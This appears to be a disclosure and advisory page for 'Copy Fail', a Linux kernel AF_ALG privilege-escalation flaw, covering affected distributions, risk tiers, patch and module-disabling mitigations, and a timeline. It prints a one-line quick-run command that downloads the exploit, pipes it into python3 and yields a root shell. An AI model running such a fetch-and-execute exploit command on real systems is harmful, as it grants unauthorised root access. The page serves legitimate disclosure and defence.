Copy Fail — 732 Bytes to Root

Summary

Copy Fail (CVE-2026-31431) is a critical Linux local privilege escalation vulnerability affecting all major distributions since 2017. The exploit leverages a page-cache write bypass in the kernel crypto API (AF_ALG) to modify setuid binaries in memory, requiring only an unprivileged local user account. The 732-byte Python PoC works unmodified across Ubuntu, Amazon Linux, RHEL, and SUSE, and poses severe risk in multi-tenant, containerized, and CI/CD environments.

Full text

Copy Fail CVE-2026-31431 Exploit Mitigation FAQ Timeline Contact The demo Same script, four distributions, four root shells — in one take. The same exploit binary works unmodified on every Linux distribution. tmux — copy fail demo live poc(exp) | sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 | first revealed by this tweet ↗ Who is affected If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope. Copy Fail requires only an unprivileged local user account — no network access, no kernel debugging features, no pre-installed primitives. The kernel crypto API (AF_ALG) ships enabled in essentially every mainstream distro's default config, so the entire 2017 → patch window is in play out of the box. Distributions we directly verified: DistributionKernel Ubuntu 24.04 LTS6.17.0-1007-aws Amazon Linux 20236.18.8-9.213.amzn2023 RHEL 10.16.12.0-124.45.1.el10_1 SUSE 166.12.0-160000.9-default These are what we tested directly. Other distributions running affected kernels — Debian, Arch, Fedora, Rocky, Alma, Oracle, the embedded crowd — behave the same. Tested it elsewhere? Open an issue to add to the list. Should you patch first? High Multi-tenant Linux hosts Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root High Kubernetes / container clusters The page cache is shared across the host. A pod with the right primitives compromises the node and crosses tenant boundaries. cross-container, cross-tenant High CI runners & build farms GitHub Actions self-hosted runners, GitLab runners, Jenkins agents — anything that executes untrusted PR code as a regular user, on a shared kernel. a PR becomes root on the runner High Cloud SaaS running user code Notebook hosts, agent sandboxes, serverless functions, any tenant-supplied container or script. tenant becomes host root Medium Standard Linux servers Single-tenant production where only your team has shell access. internal LPE; chains with web RCE or stolen creds Lower Single-user laptops & workstations You're already the only user. The bug doesn't grant remote attackers access by itself, but any local code execution becomes root. post-exploitation step-up Exploit The PoC is published so defenders can verify their own systems and validate vendor patches. Use responsibly. Run only on systems you own or have written authorization to test. The script edits the page cache of a setuid binary; the change is not persistent across reboot, but the resulting root shell is real. Don't run it on production. copy_fail_exp.py 732 B Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib).Targets /usr/bin/su by default; pass another setuid binary as argv[1]. sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 Download (GitHub) Quick run: $ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user) Issue tracker: https://github.com/theori-io/copy-fail-CVE-2026-31431 Mitigation Patch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now. Before you can patch: disable the algif_aead module. # echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # rmmod algif_aead 2>/dev/null || true What does this break? For the vast majority of systems — nothing measurable. Will not affect: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-kernel TLS, OpenSSL/GnuTLS/NSS default builds, SSH, kernel keyring crypto. These all use the in-kernel crypto API directly — they don't go through AF_ALG. May affect: userspace specifically configured to use AF_ALG — e.g. OpenSSL with the afalg engine explicitly enabled, some embedded crypto offload paths, or applications that bind aead/skcipher/hash sockets directly. Check with lsof | grep AF_ALG or ss -xa if in doubt. Performance: AF_ALG is a userspace front door to the kernel crypto API. Disabling it does not slow anything that wasn't already calling it; for the things that were, performance falls back to a normal userspace crypto library, which is what almost everything else already does. For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp regardless of patch state. FAQ Loading FAQ… Disclosure timeline 2026-03-23Reported to Linux kernel security team 2026-03-24Initial acknowledgment 2026-03-25Patches proposed and reviewed 2026-04-01Patch committed to mainline 2026-04-22CVE-2026-31431 assigned 2026-04-29Public disclosure (https://copy.fail/) Xint Code Is your software AI-era safe? Copy Fail was surfaced by Xint Code about an hour of scan time against the Linux crypto/ subsystem. Full root cause, diagrams, and the operator prompt that found it are in the Xint blog write-up. The same scan also surfaced other high-severity bugs, still in coordinated disclosure. Xint Code audits production codebases the same way — one operator prompt, no harnessing, prioritized findings with trigger and impact narratives. Try Xint Code → Xint's Public Bug Tracker Track record 0-day RCE ZeroDay Cloud Swept the database category — Redis, PostgreSQL, MariaDB. Zero human intervention. Top 3 DARPA AIxCC Finalist in the AI Cyber Challenge hosted by DoD DARPA. 9× DEF CON CTF Most-winning team in DEF CON CTF history. Contact our team→

Indicators of Compromise

• cve — CVE-2026-31431
• hash_sha256 — a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Entities